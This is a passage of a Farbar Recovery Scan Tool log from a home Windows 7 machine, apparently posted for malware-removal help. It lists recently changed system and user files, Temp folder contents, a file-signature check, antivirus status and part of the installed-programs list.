00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\25387B9A.sys2014-12-10 08:25 - 2014-12-28 17:47 - 00003362 _____ () C:\Windows\System32\Tasks\RealDownloaderRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-10 08:25 - 2014-12-28 17:47 - 00003228 _____ () C:\Windows\System32\Tasks\RealDownloaderRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-10 07:52 - 2014-10-17 21:05 - 04121600 _____ (Microsoft Corporation) C:\Windows\system32\mf.dll2014-12-10 07:52 - 2014-10-17 20:33 - 03209728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mf.dll2014-12-10 07:50 - 2014-11-26 20:43 - 00389296 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll2014-12-10 07:50 - 2014-11-26 20:10 - 00342200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll2014-12-10 07:50 - 2014-11-21 22:13 - 25059840 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll2014-12-10 07:50 - 2014-11-21 22:06 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb2014-12-10 07:50 - 2014-11-21 22:06 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll2014-12-10 07:50 - 2014-11-21 21:50 - 00580096 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll2014-12-10 07:50 - 2014-11-21 21:50 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll2014-12-10 07:50 - 2014-11-21 21:49 - 02885120 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll2014-12-10 07:50 - 2014-11-21 21:49 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll2014-12-10 07:50 - 2014-11-21 21:48 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll2014-12-10 07:50 - 2014-11-21 21:41 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll2014-12-10 07:50 - 2014-11-21 21:40 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll2014-12-10 07:50 - 2014-11-21 21:37 - 00633856 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll2014-12-10 07:50 - 2014-11-21 21:35 - 00114688 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe2014-12-10 07:50 - 2014-11-21 21:34 - 06039552 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll2014-12-10 07:50 - 2014-11-21 21:34 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll2014-12-10 07:50 - 2014-11-21 21:26 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe2014-12-10 07:50 - 2014-11-21 21:22 - 19749376 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll2014-12-10 07:50 - 2014-11-21 21:22 - 00490496 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll2014-12-10 07:50 - 2014-11-21 21:20 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb2014-12-10 07:50 - 2014-11-21 21:14 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll2014-12-10 07:50 - 2014-11-21 21:09 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll2014-12-10 07:50 - 2014-11-21 21:08 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll2014-12-10 07:50 - 2014-11-21 21:07 - 00501248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll2014-12-10 07:50 - 2014-11-21 21:07 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll2014-12-10 07:50 - 2014-11-21 21:06 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll2014-12-10 07:50 - 2014-11-21 21:05 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll2014-12-10 07:50 - 2014-11-21 21:05 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll2014-12-10 07:50 - 2014-11-21 21:01 - 02277888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll2014-12-10 07:50 - 2014-11-21 20:59 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll2014-12-10 07:50 - 2014-11-21 20:58 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll2014-12-10 07:50 - 2014-11-21 20:56 - 00478208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll2014-12-10 07:50 - 2014-11-21 20:54 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll2014-12-10 07:50 - 2014-11-21 20:49 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll2014-12-10 07:50 - 2014-11-21 20:49 - 00718848 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe2014-12-10 07:50 - 2014-11-21 20:47 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll2014-12-10 07:50 - 2014-11-21 20:46 - 02125312 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl2014-12-10 07:50 - 2014-11-21 20:45 - 00418304 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll2014-12-10 07:50 - 2014-11-21 20:43 - 14412800 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll2014-12-10 07:50 - 2014-11-21 20:40 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll2014-12-10 07:50 - 2014-11-21 20:36 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll2014-12-10 07:50 - 2014-11-21 20:35 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll2014-12-10 07:50 - 2014-11-21 20:33 - 00285696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll2014-12-10 07:50 - 2014-11-21 20:29 - 04299264 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll2014-12-10 07:50 - 2014-11-21 20:28 - 02358272 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll2014-12-10 07:50 - 2014-11-21 20:23 - 00688640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll2014-12-10 07:50 - 2014-11-21 20:22 - 02052096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl2014-12-10 07:50 - 2014-11-21 20:21 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll2014-12-10 07:50 - 2014-11-21 20:15 - 01548288 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll2014-12-10 07:50 - 2014-11-21 20:13 - 12836864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll2014-12-10 07:50 - 2014-11-21 20:03 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll2014-12-10 07:50 - 2014-11-21 20:00 - 01888256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll2014-12-10 07:50 - 2014-11-21 19:56 - 01307136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll2014-12-10 07:50 - 2014-11-21 19:54 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll2014-12-10 07:49 - 2014-11-10 22:09 - 01424384 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll2014-12-10 07:49 - 2014-11-10 21:44 - 01230336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll2014-12-10 07:49 - 2014-11-10 20:46 - 00119296 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys2014-12-10 07:49 - 2014-10-29 21:03 - 00165888 _____ (Microsoft Corporation) C:\Windows\system32\charmap.exe2014-12-10 07:49 - 2014-10-29 20:45 - 00155136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\charmap.exe2014-12-10 07:48 - 2014-10-02 21:12 - 02020352 _____ (Microsoft Corporation) C:\Windows\system32\WsmSvc.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00346624 _____ (Microsoft Corporation) C:\Windows\system32\WSManMigrationPlugin.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00310272 _____ (Microsoft Corporation) C:\Windows\system32\WsmWmiPl.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00181248 _____ (Microsoft Corporation) C:\Windows\system32\WsmAuto.dll2014-12-10 07:48 - 2014-10-02 21:11 - 00266240 _____ (Microsoft Corporation) C:\Windows\system32\WSManHTTPConfig.exe2014-12-10 07:48 - 2014-10-02 20:45 - 01177088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmSvc.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00248832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WSManMigrationPlugin.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00214016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmWmiPl.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00145920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmAuto.dll2014-12-10 07:48 - 2014-10-02 20:44 - 00198656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WSManHTTPConfig.exe2014-12-10 07:47 - 2014-11-07 22:16 - 00002048 _____ (Microsoft Corporation) C:\Windows\system32\tzres.dll2014-12-10 07:47 - 2014-11-07 21:45 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tzres.dll2014-12-10 07:09 - 2014-12-10 07:09 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\535E59B9.sys2014-12-05 07:38 - 2014-12-06 14:22 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\27B368C4.sys==================== One Month Modified Files and Folders =======(If an entry is included in the fixlist, the file\folder will be moved.)2014-12-29 09:50 - 2013-05-13 18:17 - 00000898 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job2014-12-29 09:49 - 2009-07-14 00:13 - 00782510 _____ () C:\Windows\system32\PerfStringBackup.INI2014-12-29 09:48 - 2010-08-11 10:07 - 00000000 ____D () C:\Copy2014-12-29 09:48 - 2009-07-13 23:45 - 00018576 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A02014-12-29 09:48 - 2009-07-13 23:45 - 00018576 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A02014-12-29 09:46 - 2013-10-11 16:19 - 00057107 _____ () C:\Windows\setupact.log2014-12-29 09:41 - 2010-08-02 17:17 - 01363872 _____ () C:\Windows\WindowsUpdate.log2014-12-29 09:37 - 2010-12-05 10:12 - 01107718 _____ () C:\Users\Hagar\seditor.launcher.log2014-12-29 09:36 - 2012-01-06 07:53 - 00000000 ___RD () C:\Users\Hagar\Dropbox2014-12-29 09:36 - 2012-01-06 07:50 - 00000000 ____D () C:\Users\Hagar\AppData\Roaming\Dropbox2014-12-29 09:35 - 2014-11-15 15:33 - 00000000 ___RD () C:\Users\Hagar\OneDrive2014-12-29 09:28 - 2014-08-13 05:17 - 00000000 ____D () C:\Users\Hagar\AppData\Local\Adobe2014-12-29 09:27 - 2014-05-21 07:39 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys2014-12-29 09:27 - 2013-05-13 18:17 - 00000894 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job2014-12-29 09:27 - 2009-07-14 00:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT2014-12-28 22:11 - 2014-06-10 12:56 - 00000562 _____ () C:\Windows\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001.job2014-12-28 22:01 - 2010-08-11 15:29 - 00000908 _____ () C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA.job2014-12-28 17:07 - 2010-08-09 18:21 - 00000000 ____D () C:\Users\Hagar2014-12-28 15:56 - 2010-11-09 14:44 - 00000000 ____D () C:\Program Files (x86)\Steam2014-12-27 19:01 - 2010-08-11 15:29 - 00000856 _____ () C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core.job2014-12-26 17:05 - 2013-05-14 20:16 - 00000000 ____D () C:\Users\Hagar\Documents\Saved recipes2014-12-26 17:04 - 2012-08-28 17:27 - 00000000 ____D () C:\Users\Hagar\Documents\Online Purchase Confirmations2014-12-20 13:27 - 2014-06-10 12:56 - 00003588 _____ () C:\Windows\System32\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-10012014-12-17 06:53 - 2009-07-14 00:08 - 00032544 _____ () C:\Windows\Tasks\SCHEDLGU.TXT2014-12-14 15:49 - 2012-04-05 06:22 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe2014-12-14 15:49 - 2011-05-19 06:22 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl2014-12-13 15:45 - 2012-01-06 07:51 - 00000000 ____D () C:\Users\Hagar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Dropbox2014-12-12 07:04 - 2010-08-11 15:30 - 00002368 _____ () C:\Users\Hagar\Desktop\Google Chrome.lnk2014-12-10 12:27 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\rescache2014-12-10 08:44 - 2012-01-31 08:20 - 00000000 ____D () C:\Users\Hagar\Documents\Work & Resume Related Files2014-12-10 08:20 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\PolicyDefinitions2014-12-10 07:58 - 2013-08-14 19:39 - 00000000 ____D () C:\Windows\system32\MRT2014-12-10 07:53 - 2010-05-24 16:32 - 112710672 _____ (Microsoft Corporation) C:\Windows\system32\MRT.exe2014-12-10 07:44 - 2014-10-10 06:44 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk2014-12-04 15:17 - 2014-05-21 07:38 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware2014-12-04 15:17 - 2014-05-21 07:38 - 00000000 ____D () C:\Program Files (x86)\Malwarebytes Anti-Malware2014-12-04 15:17 - 2012-03-28 08:56 - 00001142 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk2014-12-03 14:11 - 2012-12-08 16:43 - 00000000 ____D () C:\Users\Hagar\Documents\Judy Hoffman2014-12-03 14:11 - 2011-11-30 15:36 - 00000000 ____D () C:\Users\Hagar\Documents\Holiday Newsletters2014-12-02 08:35 - 2014-10-15 09:01 - 00012673 _____ () C:\Users\Hagar\Documents\Fax Cover Sheet.odtSome content of TEMP:====================C:\Users\Hagar\AppData\Local\Temp\6bak3aub.dllC:\Users\Hagar\AppData\Local\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmpws_vhc.dllC:\Users\Hagar\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u55-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u65-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u67-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\lowproc.exeC:\Users\Hagar\AppData\Local\Temp\MouseKeyboardCenterx64_1033.exeC:\Users\Hagar\AppData\Local\Temp\siinst.exeC:\Users\Hagar\AppData\Local\Temp\siuninst.exeC:\Users\Hagar\AppData\Local\Temp\strings.dllC:\Users\Hagar\AppData\Local\Temp\stubhelper.dll==================== Bamital & volsnap Check =================(There is no automatic fix for files that do not pass verification.)C:\Windows\System32\winlogon.exe => File is digitally signedC:\Windows\System32\wininit.exe => File is digitally signedC:\Windows\SysWOW64\wininit.exe => File is digitally signedC:\Windows\explorer.exe => File is digitally signedC:\Windows\SysWOW64\explorer.exe => File is digitally signedC:\Windows\System32\svchost.exe => File is digitally signedC:\Windows\SysWOW64\svchost.exe => File is digitally signedC:\Windows\System32\services.exe => File is digitally signedC:\Windows\System32\User32.dll => File is digitally signedC:\Windows\SysWOW64\User32.dll => File is digitally signedC:\Windows\System32\userinit.exe => File is digitally signedC:\Windows\SysWOW64\userinit.exe => File is digitally signedC:\Windows\System32\rpcss.dll => File is digitally signedC:\Windows\System32\Drivers\volsnap.sys => File is digitally signedLastRegBack: 2014-12-25 08:56==================== End Of Log ============================ Here is the Addition.txt Additional scan result of Farbar Recovery Scan Tool (x64) Version: 28-12-2014Ran by Hagar at 2014-12-29 09:50:21Running from C:\CopyBoot Mode: Normal============================================================================== Security Center ========================(If an entry is included in the fixlist, it will be removed.)AV: Microsoft Security Essentials (Enabled - Up to date) {4F35CFC4-45A3-FC37-EF17-759A02E39AB1}AS: Microsoft Security Essentials (Enabled - Up to date) {F4542E20-6399-F3B9-D5A7-4EE87964D00C}AS: Windows Defender (Disabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}==================== Installed Programs ======================(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)AC3 Player version 1.0 (HKLM-x32\...\{88246387-F3C7-43D3-B1C8-A5FEB11D6C61}_is1) (Version: 1.0 - ac3directshowfilter.com)Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.3.0.3650 - Adobe Systems Incorporated)Adobe Community Help (HKLM-x32\...\chc.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 3.5.23 - Adobe Systems Incorporated.)Adobe Flash Player 11 Plugin (HKLM-x32\...\Adobe Flash Player Plugin) (Version: 11.9.900.170 - Adobe Systems Incorporated)Adobe Flash Player 16 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 16.0.0.235 - Adobe Systems Incorporated)Adobe Photoshop Elements 10 (HKLM-x32\...\Adobe Photoshop Elements 10) (Version: 10.0 - Adobe Systems Incorporated)Adobe Photoshop.com Inspiration Browser (HKLM-x32\...\PhotoshopdotcomInspirationBrowser.4C35C4D325D350FE0114230CBADCA2DDD0AC8D25.1) (Version: 3.07 - Adobe Systems Incorporated)Adobe Reader XI (11.0.10) (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AB0000000001}) (Version: 11.0.10 - Adobe Systems Incorporated)AMD Catalyst Install Manager (HKLM\...\{13351E83-6DCD-4E97-2A8C-5D496259A47F}) (Version: 8.0.915.0 - Advanced Micro Devices, Inc.)Apple Application Support (HKLM-x32\...\{83CAF0DE-8D3B-4C37-A631-2B8F16EC3031}) (Version: 3.1 - Apple Inc.)Apple Mobile Device Support (HKLM\...\{BDD99690-3541-4619-9D2A-3CDDB3E15F9E}) (Version: 8.0.5.6 - Apple Inc.)Apple Software Update (HKLM-x32\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)ATI Catalyst Registration (x32 Version: 3.00.0000 - ATI Technologies Inc.) HiddenAudioLabel (HKLM-x32\...\AudioLabel) (Version: 4.40 (Build 10) - CDCoverSoft)Battle.net (HKLM-x32\...\Battle.net) (Version: - Blizzard Entertainment)Battlefield: Bad Company 2 (HKLM-x32\...\Steam App 24960) (Version: - DICE)Belkin Setup and Router Monitor (HKLM-x32\...\Belkin Setup and Router Monitor_is1) (Version: - )BioShock (HKLM-x32\...\Steam App 7670) (Version: - 2K Boston)BioShock Infinite (HKLM-x32\...\Steam App 8870) (Version: - Irrational Games)Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)Borderlands (HKLM-x32\...\Steam App 8980) (Version: - Gearbox Software)Borderlands 2 (HKLM-x32\...\Steam App 49520) (Version: - Gearbox Software)Borders Desktop (HKLM-x32\...\Borders Desktop) (Version: 2.0.4 - Kobo Inc.)Box Sync (x32 Version: 4.0.5641.0 - Box Inc.) HiddenCisco WebEx Meetings (HKLM-x32\...\ActiveTouchMeetingClient) (Version: - Cisco WebEx LLC)Citrix Online Launcher (HKLM-x32\...\{F17C3DC2-2ACA-4B0E-BDBF-ACE61B14E7CD}) (Version: 1.0.183 - Citrix)Counter-Strike (HKLM-x32\...\Steam App 10) (Version: - Valve)Counter-Strike: Condition Zero (HKLM-x32\...\Steam App 80) (Version: - Valve)Counter-Strike: Condition Zero Deleted Scenes (HKLM-x32\...\Steam App 100) (Version: - Valve)CutePDF Writer 2.8 (HKLM\...\CutePDF Writer Installation) (Version: - )D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) HiddenDay of Defeat (HKLM-x32\...\Steam App 30) (Version: - Valve)Diablo III (HKLM-x32\...\Diablo III) (Version: - Blizzard Entertainment)DivX Setup (HKLM-x32\...\DivX Setup) (Version: 2.6.1.84 - DivX, LLC)Dropbox (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Dropbox) (Version: 3.0.3 - Dropbox, Inc.)Elements 10 Organizer (x32 Version: 10.0 - Adobe Systems Incorporated) HiddenEPSON Scan (HKLM-x32\...\EPSON Scanner) (Version: - )Fallout 3 - Game of the Year Edition (HKLM-x32\...\Steam App 22370) (Version: - Bethesda Softworks)Fallout Mod Manager 0.13.21 (HKLM-x32\...\Generic Mod Manager_is1) (Version: - Q, Timeslip)Fallout: New Vegas (HKLM-x32\...\Steam App 22380) (Version: - Bethesda Softworks)Family Lawyer 2004 (HKLM-x32\...\{95C2FBF3-4462-41E3-89DC-0F784387BD53}) (Version: - Broderbund)foobar2000 v1.3.2 (HKLM-x32\...\foobar2000) (Version: 1.3.2 - Peter Pawlowski)Free DVD Ripper Version 2.25 (HKLM-x32\...\Free DVD Ripper 2.25_is1) (Version: - NeSoft)Google Chrome (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Google Chrome) (Version: 39.0.2171.95 - Google Inc.)Google Earth Plug-in (HKLM-x32\...\{4AB54F11-2F8C-11E3-B09F-B8AC6F97B88E}) (Version: 7.1.2.2041 - Google)Google Update Helper (x32 Version: 1.3.25.11 - Google Inc.) HiddenGoToMeeting 7.0.5.2130 (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\GoToMeeting) (Version: 7.0.5.2130 - CitrixOnline)Half-Life 2 (HKLM-x32\...\Steam App 220) (Version: - Valve)Half-Life 2: Episode One (HKLM-x32\...\Steam App 380) (Version: - Valve)Half-Life 2: Episode Two (HKLM-x32\...\Steam App 420) (Version: - Valve)Half-Life 2: Lost Coast (HKLM-x32\...\Steam App 340) (Version: - Valve)HP LaserJet Professional P1100-P1560-P1600 Series (HKLM\...\HP LaserJet Professional P1100-P1560-P1600 Series) (Version: - )hppLaserJetService (x32 Version: 001.001.0.0 - Hewlett-Packard) HiddenhppP1100P1560P1600SeriesLaserJetService (x32 Version: 001.001.0.0 - Hewlett-Packard) HiddenhppusgP1100P1560P1600Series (x32 Version: 1.0.0.1 - Hewlett-Packard) HiddenIBM Lotus Symphony (HKLM-x32\...\{294f69aa-9abb-4211-ace2-cb18379c2742}) (Version: 3.0.10289 - IBM)IrfanView (remove only) (HKLM-x32\...\IrfanView) (Version: 4.27 - Irfan Skiljan)iTunes (HKLM\...\{2ABBBD91-91E5-4AD7-929A-FE15D1DC0576}) (Version: 12.0.1.26 - Apple Inc.)Java 7 Update 71 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F03217071FF}) (Version: 7.0.710 - Oracle)John's Background Switcher 4.4 (HKLM-x32\...\{DD3DAD13-289E-440E-A5D3-3EFB25305018}_is1) (Version: 4.4 - johnsadventures.com)join.me (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\JoinMe) (Version: 1.17.0.112 - LogMeIn, Inc.)Junk Mail filter update (x32 Version: 15.4.3502.0922 - Microsoft Corporation) HiddenJust Cause 2 (HKLM-x32\...\Steam App 8190) (Version: - Avalanche)Left 4 Dead (HKLM-x32\...\Steam App 500) (Version: - Valve)Left 4 Dead 2 (HKLM-x32\...\Steam App 550) (Version: - Valve)Malwarebytes Anti-Malware version 2.0.4.1028 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.0.4.1028 - Malwarebytes Corporation)MarketResearch (x32 Version: 130.0.374.000 - Hewlett-Packard) HiddenMedia Player Classic - Home Cinema v1.4.2499.0 x64 (HKLM\...\{2ACBF1FA-F5C3-4B19-A774-B22A31F231B9}_is1) (Version: 1.4.2499.0 - MPC-HC Team)Microsoft .NET Framework 4.5.1 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.5.50938 - Microsoft Corporation)Microsoft Easy Assist v2 (HKLM-x32\...\{326957C7-83FD-4550-A59A-849B7B4297DE}) (Version: 8.1.6416.0 - Microsoft Corporation)Microsoft Games for Windows - LIVE Redistributable (HKLM-x32\...\{F2508213-9989-4E85-A078-72BE483917EF}) (Version: 3.5.88.0 - Microsoft Corporation)Microsoft Games for Windows Marketplace (HKLM-x32\...\{4CB0307C-565E-4441-86BE-0DF2E4FB828C}) (Version: 3.5.50.0 - Microsoft Corporation)Microsoft Lync 2010 (HKLM\...\{81BE0B17-563B-45D4-B198-5721E6C665CD}) (Version: 4.0.7577.4446 - Microsoft Corporation)Microsoft Mouse and Keyboard Center (HKLM\...\Microsoft Mouse and Keyboard Center) (Version: 2.3.188.0 - Microsoft Corporation)Microsoft OneDrive (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\OneDriveSetup.exe) (Version: 17.3.1229.0918 - Microsoft Corporation)Microsoft Online Services Sign-in Assistant (HKLM\...\{E20B2752-0909-4B28-B8A9-A9BE519CA1A1}) (Version: 7.250.4287.0 - Microsoft Corporation)Microsoft Security Essentials (HKLM\...\Microsoft Security Client) (Version: 4.6.305.0 - Microsoft Corporation)Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.30514.0 - Microsoft Corporation)Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)Microsoft Visio Viewer 2010 (HKLM-x32\...\{95140000-0052-0409-0000-0000000FF1CE}) (Version: 14.0.7015.1000 - Microsoft Corporation)Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 (HKLM-x32\...\{770657D0-A123-3C07-8E44-1C83EC895118}) (Version: 8.0.50727.4053 - Microsoft Corporation)Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 (HKLM-x32\...\{002D9D5E-29BA-3E6D-9BC4-3D7D6DBC735C}) (Version: 9.0.30729.4148 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - KB2467174 - x64 9.0.30729.5570 (HKLM\...\{8338783A-0968-3B85-AFC7-BAAE0A63DC50}) (Version: 9.0.30729.5570 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - KB2467174 - x86 9.0.30729.5570 (HKLM-x32\...\{86CE85E6-DBAC-3FFD-B977-E4B79F83C909}) (Version: 9.0.30729.5570 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 (HKLM-x32\...\{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}) (Version: 9.0.21022 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) 